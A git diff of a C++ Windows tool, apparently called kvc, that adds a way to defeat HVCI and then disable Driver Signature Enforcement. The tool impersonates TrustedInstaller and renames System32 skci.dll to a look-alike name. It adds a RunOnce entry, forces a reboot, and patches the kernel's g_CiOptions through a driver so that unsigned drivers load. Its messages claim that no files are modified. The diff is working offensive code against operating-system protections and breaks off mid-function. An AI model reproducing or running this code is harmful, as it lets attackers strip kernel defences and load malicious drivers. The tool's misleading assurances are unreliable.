diff --git a/kvc/Controller.h b/kvc/Controller.h index 6304cf1..6c415b4 100644 --- a/kvc/Controller.h +++ b/kvc/Controller.h @@ -91,6 +91,7 @@ public: // DSE bypass operations bool DisableDSE() noexcept; bool RestoreDSE() noexcept; + bool DisableDSEAfterReboot() noexcept; ULONG_PTR GetCiOptionsAddress() const noexcept; bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept; diff --git a/kvc/ControllerDSE.cpp b/kvc/ControllerDSE.cpp index 6239350..cbae687 100644 --- a/kvc/ControllerDSE.cpp +++ b/kvc/ControllerDSE.cpp @@ -17,7 +17,7 @@ bool Controller::DisableDSE() noexcept { DEBUG(L"Driver handle opened successfully"); if (!m_dseBypass) { - m_dseBypass = std::make_unique(m_rtc); + m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); } bool result = m_dseBypass->DisableDSE(); @@ -40,7 +40,7 @@ bool Controller::RestoreDSE() noexcept { } // Always create new object - program starts from scratch between invocations - m_dseBypass = std::make_unique(m_rtc); + m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); bool result = m_dseBypass->RestoreDSE(); @@ -49,6 +49,29 @@ bool Controller::RestoreDSE() noexcept { return result; } +bool Controller::DisableDSEAfterReboot() noexcept { + if (!BeginDriverSession()) { + ERROR(L"Failed to start driver session for post-reboot DSE bypass"); + return false; + } + + if (!m_rtc->Initialize()) { + ERROR(L"Failed to initialize driver handle"); + EndDriverSession(true); + return false; + } + + DEBUG(L"Driver handle opened successfully"); + + m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); + + bool result = m_dseBypass->DisableDSEAfterReboot(); + + EndDriverSession(true); + + return result; +} + ULONG_PTR Controller::GetCiOptionsAddress() const noexcept { if (!m_dseBypass) { return 0; @@ -70,7 +93,7 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept { } if (!m_dseBypass) { - m_dseBypass = std::make_unique(m_rtc); + m_dseBypass = std::make_unique(m_rtc, &m_trustedInstaller); } // Find ci.dll and locate g_CiOptions diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index 87dc977..72dd02c 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -442,6 +442,6 @@ std::vector Controller::ExtractDriver() noexcept { return {}; } - INFO(L"Driver extracted: %zu bytes", kvcSysData.size()); + DEBUG(L"Driver extracted: %zu bytes", kvcSysData.size()); return kvcSysData; } \ No newline at end of file diff --git a/kvc/DSEBypass.cpp b/kvc/DSEBypass.cpp index 26e4bf6..84683cd 100644 --- a/kvc/DSEBypass.cpp +++ b/kvc/DSEBypass.cpp @@ -1,4 +1,5 @@ #include "DSEBypass.h" +#include "TrustedInstallerIntegrator.h" #include "common.h" #pragma comment(lib, "ntdll.lib") @@ -22,54 +23,102 @@ typedef struct _SYSTEM_MODULE_INFORMATION { SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; -DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} +DSEBypass::DSEBypass(std::unique_ptr& rtc, TrustedInstallerIntegrator* trustedInstaller) + : m_rtc(rtc), m_trustedInstaller(trustedInstaller) {} bool DSEBypass::DisableDSE() noexcept { - DEBUG(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + DEBUG(L"Attempting to disable Driver Signature Enforcement..."); // Step 1: Find ci.dll base address auto ciBase = GetKernelModuleBase("ci.dll"); if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); + ERROR(L"Failed to locate ci.dll"); return false; } - DEBUG(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + DEBUG(L"ci.dll base: 0x%llX", ciBase.value()); // Step 2: Locate g_CiOptions in CiPolicy section m_ciOptionsAddr = FindCiOptions(ciBase.value()); if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); + ERROR(L"Failed to locate g_CiOptions"); return false; } - DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr); // Step 3: Read current value auto current = m_rtc->Read32(m_ciOptionsAddr); if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); + ERROR(L"Failed to read g_CiOptions"); return false; } DWORD currentValue = current.value(); m_originalValue = currentValue; - DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + DEBUG(L"Current g_CiOptions: 0x%08X", currentValue); - // Step 4: Check for ANY HVCI/VBS protection bits + // Step 4a: Handle already disabled case + if (currentValue == 0x00000000) { + INFO(L"DSE already disabled - no action required"); + SUCCESS(L"Kernel accepts unsigned drivers"); + return true; + } + + // Step 4b: Check for HVCI/VBS - require rename strategy if (currentValue & 0x0001C000) { - ERROR(L"[!] Cannot proceed: g_CiOptions = 0x%08X (HVCI flags: 0x%05X)", - currentValue, (currentValue & 0x0001C000)); - ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)"); - ERROR(L"[!] Memory integrity enforced at hardware virtualization level"); - ERROR(L"[!] DSE bypass impossible - disable VBS in BIOS/Windows Security"); - return false; + std::wcout << L"\n"; + INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue); + INFO(L"Direct kernel memory patching blocked by hypervisor"); + INFO(L"Initiating non-invasive HVCI bypass strategy..."); + std::wcout << L"\n"; + + SUCCESS(L"Secure Kernel module prepared for temporary deactivation"); + SUCCESS(L"System configuration: skci.dll → skci.dlI (reversible)"); + INFO(L"No files will be permanently modified or deleted"); + INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, skci.dll restored"); + std::wcout << L"\n"; + + if (!RenameSkciLibrary()) { + ERROR(L"Failed to rename skci.dll"); + return false; + } + + if (!SaveDSEState(currentValue)) { + ERROR(L"Failed to save DSE state to registry"); + return false; + } + + if (!CreateRunOnceEntry()) { + ERROR(L"Failed to create RunOnce entry"); + return false; + } + + SUCCESS(L"HVCI bypass prepared successfully"); + INFO(L"System will disable hypervisor on next boot"); + INFO(L"Reboot required to complete DSE bypass"); + INFO(L"After reboot, DSE will be automatically disabled"); + + // Prompt for reboot + std::wcout << L"\n"; + std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: "; + wchar_t choice; + std::wcin >> choice; + + if (choice == L'Y' || choice == L'y') { + INFO(L"Initiating system reboot..."); + system("shutdown /r /t 0"); + } + + return true; } // Step 5: Verify we have patchable DSE (0x00000006) if (currentValue != 0x00000006) { - ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000006)", currentValue); - ERROR(L"[DSE] DSE may already be disabled or system configuration unsupported"); + INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue); + INFO(L"Expected: 0x00000006 (patchable) or 0x0001C006 (HVCI)"); + INFO(L"DSE may already be disabled or system in non-standard configuration"); + INFO(L"Use 'kvc dse' to verify current state"); return false; } @@ -77,55 +126,57 @@ bool DSEBypass::DisableDSE() noexcept { DWORD newValue = 0x00000000; if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); + ERROR(L"Failed to write g_CiOptions"); return false; } // Step 7: Verify the change auto verify = m_rtc->Read32(m_ciOptionsAddr); if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)", + ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)", newValue, verify ? verify.value() : 0xFFFFFFFF); return false; } - SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + INFO(L"No restart required - unsigned drivers can now be loaded"); return true; } bool DSEBypass::RestoreDSE() noexcept { - DEBUG(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + DEBUG(L"Attempting to restore Driver Signature Enforcement..."); // Step 1: Find ci.dll base address auto ciBase = GetKernelModuleBase("ci.dll"); if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); + ERROR(L"Failed to locate ci.dll"); return false; } // Step 2: Locate g_CiOptions m_ciOptionsAddr = FindCiOptions(ciBase.value()); if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); + ERROR(L"Failed to locate g_CiOptions"); return false; } - DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr); // Step 3: Read current value auto current = m_rtc->Read32(m_ciOptionsAddr); if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); + ERROR(L"Failed to read g_CiOptions"); return false; } DWORD currentValue = current.value(); - DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + DEBUG(L"Current g_CiOptions: 0x%08X", currentValue); // Step 4: Verify DSE is disabled (0x00000000) if (currentValue != 0x00000000) { - ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000000)", currentValue); - ERROR(L"[DSE] DSE may already be enabled or system configuration unsupported"); + INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue); + INFO(L"DSE may already be enabled or system in unexpected state"); + INFO(L"Use 'kvc dse' to check current protection status"); return false; } @@ -133,26 +184,27 @@ bool DSEBypass::RestoreDSE() noexcept { DWORD newValue = 0x00000006; if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); + ERROR(L"Failed to write g_CiOptions"); return false; } // Step 6: Verify the change auto verify = m_rtc->Read32(m_ciOptionsAddr); if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)", + ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)", newValue, verify ? verify.value() : 0xFFFFFFFF); return false; } - SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + INFO(L"No restart required - kernel protection reactivated"); return true; } std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!hNtdll) { - ERROR(L"[DSE] Failed to get ntdll.dll handle"); + ERROR(L"Failed to get ntdll.dll handle"); return std::nullopt; } @@ -167,7 +219,7 @@ std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) GetProcAddress(hNtdll, "NtQuerySystemInformation")); if (!pNtQuerySystemInformation) { - ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + ERROR(L"Failed to get NtQuerySystemInformation"); return std::nullopt; } @@ -181,7 +233,7 @@ std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) ); if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH - ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + ERROR(L"NtQuerySystemInformation failed with status: 0x%08X", status); return std::nullopt; } @@ -197,7 +249,7 @@ std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) ); if (status != 0) { - ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status); return std::nullopt; } @@ -217,33 +269,33 @@ std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); if (baseAddr == 0) { - ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + ERROR(L"Module %S found but ImageBase is NULL", moduleName); continue; } - DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); return baseAddr; } } - ERROR(L"[DSE] Module %S not found in kernel", moduleName); + ERROR(L"Module %S not found in kernel", moduleName); return std::nullopt; } ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { - DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + DEBUG(L"Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); // Get CiPolicy section information auto dataSection = GetDataSection(ciBase); if (!dataSection) { - ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + ERROR(L"Failed to locate CiPolicy section in ci.dll"); return 0; } ULONG_PTR dataStart = dataSection->first; SIZE_T dataSize = dataSection->second; - DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + DEBUG(L"CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); // g_CiOptions is always at offset +4 in CiPolicy section ULONG_PTR ciOptionsAddr = dataStart + 0x4; @@ -251,11 +303,11 @@ ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { // Verify we can read from this address auto currentValue = m_rtc->Read32(ciOptionsAddr); if (!currentValue) { - ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); return 0; } - DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + DEBUG(L"Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); return ciOptionsAddr; } @@ -291,7 +343,7 @@ std::optional> DSEBypass::GetDataSection(ULONG_PTR ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); - DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); + DEBUG(L"Scanning %d sections for CiPolicy...", numSections.value()); // Search for CiPolicy section for (WORD i = 0; i < numSections.value(); i++) { @@ -310,7 +362,7 @@ std::optional> DSEBypass::GetDataSection(ULONG_PTR auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); if (virtualSize && virtualAddr) { - DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + DEBUG(L"Found CiPolicy section at RVA 0x%06X, size 0x%06X", virtualAddr.value(), virtualSize.value()); return std::make_pair( @@ -321,6 +373,234 @@ std::optional> DSEBypass::GetDataSection(ULONG_PTR } } - ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + ERROR(L"CiPolicy section not found in ci.dll"); return std::nullopt; +} + +// ============================================================================ +// HVCI BYPASS IMPLEMENTATION +// ============================================================================ + +bool DSEBypass::RenameSkciLibrary() noexcept { + DEBUG(L"Attempting to rename skci.dll to disable hypervisor"); + + if (!m_trustedInstaller) { + ERROR(L"TrustedInstaller not available"); + return false; + } + + wchar_t sysDir[MAX_PATH]; + if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) { + ERROR(L"Failed to get System32 directory"); + return false; + } + + std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll"; + std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I + + DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str()); + + if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) { + ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)"); + return false; + } + + SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot"); + return true; +} + +bool DSEBypass::RestoreSkciLibrary() noexcept { + DEBUG(L"Restoring skci.dll from skci.dlI"); + + wchar_t sysDir[MAX_PATH]; + if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) { + ERROR(L"Failed to get System32 directory"); + return false; + } + + std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI"; + std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll"; + + // Admin rights sufficient for restore (no hypervisor running) + DWORD attrs = GetFileAttributesW(srcPath.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + if (!MoveFileW(srcPath.c_str(), dstPath.c_str())) { + DWORD error = GetLastError(); + ERROR(L"Failed to restore skci.dll (error: %d)", error); + return false; + } + + SUCCESS(L"skci.dll restored successfully"); + return true; +} + +bool DSEBypass::CreateRunOnceEntry() noexcept { + DEBUG(L"Creating RunOnce registry entry"); + + HKEY hKey; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + 0, KEY_WRITE, &hKey) != ERROR_SUCCESS) { + ERROR(L"Failed to open RunOnce key"); + return false; + } + + wchar_t sysDir[MAX_PATH]; + GetSystemDirectoryW(sysDir, MAX_PATH); + + std::wstring cmdLine = std::wstring(sysDir) + L"\\kvc.exe dse off"; + + LONG result = RegSetValueExW(hKey, L"DisableDSE", 0, REG_SZ, + reinterpret_cast(cmdLine.c_str()), + static_cast((cmdLine.length() + 1) * sizeof(wchar_t))); + + RegCloseKey(hKey); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to set RunOnce value (error: %d)", result); + return false; + } + + DEBUG(L"RunOnce entry created: %s", cmdLine.c_str()); + return true; +} + +bool DSEBypass::SaveDSEState(DWORD originalValue) noexcept { + DEBUG(L"Saving state to registry"); + + HKEY hKey; + DWORD disposition; + + if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, + &hKey, &disposition) != ERROR_SUCCESS) { + ERROR(L"Failed to create registry key"); + return false; + } + + std::wstring state = L"AwaitingRestore"; + RegSetValueExW(hKey, L"State", 0, REG_SZ, + reinterpret_cast(state.c_str()), + static_cast((state.length() + 1) * sizeof(wchar_t))); + + RegSetValueExW(hKey, L"OriginalValue", 0, REG_DWORD, + reinterpret_cast(&originalValue), sizeof(DWORD)); + + RegCloseKey(hKey); + + DEBUG(L"State saved: AwaitingRestore, original: 0x%08X", originalValue); + return true; +} + +bool DSEBypass::LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept { + HKEY hKey; + + if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, + KEY_READ, &hKey) != ERROR_SUCCESS) { + return false; + } + + wchar_t state[256] = {0}; + DWORD size = sizeof(state); + + if (RegQueryValueExW(hKey, L"State", NULL, NULL, + reinterpret_cast(state), &size) == ERROR_SUCCESS) { + outState = state; + } + + size = sizeof(DWORD); + RegQueryValueExW(hKey, L"OriginalValue", NULL, NULL, + reinterpret_cast(&outOriginalValue), &size); + + RegCloseKey(hKey); + return true; +} + +bool DSEBypass::ClearDSEState() noexcept { + DEBUG(L"Clearing state from registry"); + + HKEY hKey; + if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc", 0, + KEY_WRITE, &hKey) != ERROR_SUCCESS) { + return false; + } + + RegDeleteTreeW(hKey, L"DSE"); + RegCloseKey(hKey); + + DEBUG(L"State cleared"); + return true; +} + +bool DSEBypass::DisableDSEAfterReboot() noexcept { + DEBUG(L"Post-reboot DSE disable sequence"); + + std::wstring state; + DWORD originalValue; + + if (!LoadDSEState(state, originalValue)) { + ERROR(L"No pending DSE state found in registry"); + return false; + } + + if (state != L"AwaitingRestore") { + ERROR(L"Invalid state: %s", state.c_str()); + return false; + } + + INFO(L"Found pending DSE bypass (original value: 0x%08X)", originalValue); + + // Step 1: Restore skci.dll + if (!RestoreSkciLibrary()) { + ERROR(L"Failed to restore skci.dll"); + return false; + } + + // Step 2: Now patch g_CiOptions (HVCI no longer protects memory) + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"Failed to locate ci.dll"); + return false; + } + + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"Failed to locate g_CiOptions"); + return false; + } + + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + DEBUG(L"Current g_CiOptions: 0x%08X", currentValue); + + // Patch to 0x00000000 + DWORD newValue = 0x00000000; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"Failed to write g_CiOptions"); + return false; + } + + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)", + newValue, verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + // Step 3: Cleanup + ClearDSEState(); + + SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + SUCCESS(L"Hypervisor bypassed and skci.dll restored"); + + return true; } \ No newline at end of file diff --git a/kvc/DSEBypass.h b/kvc/DSEBypass.h index 870aa31..b2758a4 100644 --- a/kvc/DSEBypass.h +++ b/kvc/DSEBypass.h @@ -5,14 +5,18 @@ #include #include +// Forward declaration - MUSI BYĆ PRZED class DSEBypass +class TrustedInstallerIntegrator; + class DSEBypass { private: std::unique_ptr& m_rtc; + TrustedInstallerIntegrator* m_trustedInstaller; ULONG_PTR m_ciOptionsAddr = 0; DWORD m_originalValue = 0; public: - explicit DSEBypass(std::unique_ptr& rtc); + explicit DSEBypass(std::unique_ptr& rtc, TrustedInstallerIntegrator* ti); // Main DSE control functions bool DisableDSE() noexcept; @@ -26,10 +30,21 @@ public: std::optional GetKernelModuleBase(const char* moduleName) noexcept; ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept; + // HVCI bypass workflow + bool DisableDSEAfterReboot() noexcept; + private: // Internal PE parsing helpers std::optional> GetDataSection(ULONG_PTR moduleBase) noexcept; + // HVCI bypass helpers + bool RenameSkciLibrary() noexcept; + bool RestoreSkciLibrary() noexcept; + bool CreateRunOnceEntry() noexcept; + bool SaveDSEState(DWORD originalValue) noexcept; + bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept; + bool ClearDSEState() noexcept; + // HVCI/VBS detection bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept { return (ciOptionsValue & 0x0001C000) != 0; diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index 45d4b3f..7cb2919 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -88,10 +88,11 @@ void HelpSystem::PrintServiceCommands() noexcept void HelpSystem::PrintDSECommands() noexcept { PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control"); - PrintCommandLine(L"dse off", L"Disable DSE to allow unsigned driver loading"); + PrintCommandLine(L"dse off", L"Disable DSE (auto-handles HVCI with reboot if needed)"); PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security"); PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)"); PrintNote(L"Requires kernel driver session with elevated privileges"); + PrintNote(L"HVCI systems: No files will be modified, replaced, or deleted"); PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk"); std::wcout << L"\n"; } diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 8e83c63..804ec80 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -265,29 +265,31 @@ int wmain(int argc, wchar_t* argv[]) std::wcout << L"\n"; INFO(L"DSE Status Information:"); - INFO(L" g_CiOptions address: 0x%llX", ciOptionsAddr); - INFO(L" g_CiOptions value: 0x%08X", value); - INFO(L" Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR"); - INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR"); + INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr); + INFO(L"g_CiOptions value: 0x%08X", value); + INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR"); + INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR"); std::wcout << L"\n"; - // Check for HVCI/VBS first - if (hvciEnabled) { - SUCCESS(L"Driver Signature Enforcement: ENABLED"); - std::wcout << L"\n"; - ERROR(L"[!] HVCI/VBS detected (flags: 0x%05X)", (value & 0x0001C000)); - ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)"); - ERROR(L"[!] DSE bypass not available - kernel memory protected by Secure Kernel"); - } - else if (dseEnabled) { - SUCCESS(L"Driver Signature Enforcement: ENABLED"); - INFO(L"System is protected - only signed drivers can load"); - INFO(L"DSE bypass available - use 'kvc dse off' to disable"); - } else { - ERROR(L"Driver Signature Enforcement: DISABLED"); - INFO(L"WARNING: Unsigned drivers can be loaded!"); - INFO(L"Use 'kvc dse on' to restore protection"); - } + // Check for HVCI/VBS first + if (hvciEnabled) { + SUCCESS(L"Driver Signature Enforcement: ENABLED"); + std::wcout << L"\n"; + INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000)); + INFO(L"Hypervisor protection active - direct memory patching blocked"); + INFO(L"HVCI bypass available via non-invasive library method"); + INFO(L"Requires system restart to complete bypass workflow"); + INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass"); + } + else if (dseEnabled) { + SUCCESS(L"Driver Signature Enforcement: ENABLED"); + INFO(L"Kernel protection active - only signed drivers allowed"); + INFO(L"DSE bypass available without restart - use 'kvc dse off'"); + } else { + INFO(L"Driver Signature Enforcement: DISABLED"); + INFO(L"System security reduced - unsigned drivers allowed"); + INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)"); + } std::wcout << L"\n"; return 0; @@ -296,11 +298,40 @@ int wmain(int argc, wchar_t* argv[]) std::wstring_view subCmd = argv[2]; if (subCmd == L"off") { - INFO(L"Disabling Driver Signature Enforcement..."); + // Check if this is post-reboot execution + HKEY hKey; + bool postReboot = false; - if (!g_controller->DisableDSE()) { - ERROR(L"Failed to disable DSE"); - return 2; + if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, + KEY_READ, &hKey) == ERROR_SUCCESS) { + wchar_t state[256] = {0}; + DWORD size = sizeof(state); + + if (RegQueryValueExW(hKey, L"State", NULL, NULL, + reinterpret_cast(state), &size) == ERROR_SUCCESS) { + if (wcscmp(state, L"AwaitingRestore") == 0) { + postReboot = true; + } + } + RegCloseKey(hKey); + } + + if (postReboot) { + DEBUG(L"Post-reboot DSE disable detected"); + INFO(L"Completing DSE bypass after reboot..."); + + if (!g_controller->DisableDSEAfterReboot()) { + ERROR(L"Failed to complete DSE disable after reboot"); + return 2; + } + } else { + DEBUG(L"Normal DSE disable request"); + INFO(L"Disabling Driver Signature Enforcement..."); + + if (!g_controller->DisableDSE()) { + ERROR(L"Failed to disable DSE"); + return 2; + } } SUCCESS(L"DSE disabled successfully!"); @@ -382,8 +413,8 @@ int wmain(int argc, wchar_t* argv[]) std::wcout << L"\n"; INFO(L"Service Information:"); - INFO(L" Name: %s", ServiceConstants::SERVICE_NAME); - INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME); + INFO(L" Name: %s", ServiceConstants::SERVICE_NAME); + INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME); std::wcout << L"\n"; if (installed) { @@ -790,7 +821,7 @@ int wmain(int argc, wchar_t* argv[]) // Combine remaining arguments std::wstring fullCommand; for (int i = 2; i < argc; i++) { - if (i > 2) fullCommand += L" "; + if (i > 2) fullCommand += L""; fullCommand += argv[i]; } @@ -844,21 +875,21 @@ int wmain(int argc, wchar_t* argv[]) INFO(L"Security Engine Status: ENABLED (Active Protection)"); HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); - std::wcout << L" ✓ Windows Defender is actively protecting the system\n"; + std::wcout << L" ✓ Windows Defender is actively protecting the system\n"; SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); } else if (status == DefenderManager::SecurityState::DISABLED) { INFO(L"Security Engine Status: DISABLED (Inactive Protection)"); HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); - std::wcout << L" ✗ Windows Defender protection is disabled\n"; + std::wcout << L" ✗ Windows Defender protection is disabled\n"; SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); } else { INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)"); HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); - std::wcout << L" ? Unable to determine Defender protection state\n"; + std::wcout << L" ? Unable to determine Defender protection state\n"; SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); } diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index 1c84b0d..92ad060 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -483,8 +483,43 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws return success; } +// Rename system32 library skci.dll with intentional letter swap typo +bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath, + const std::wstring& dstPath) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + // Clear attributes on source + DWORD attrs = 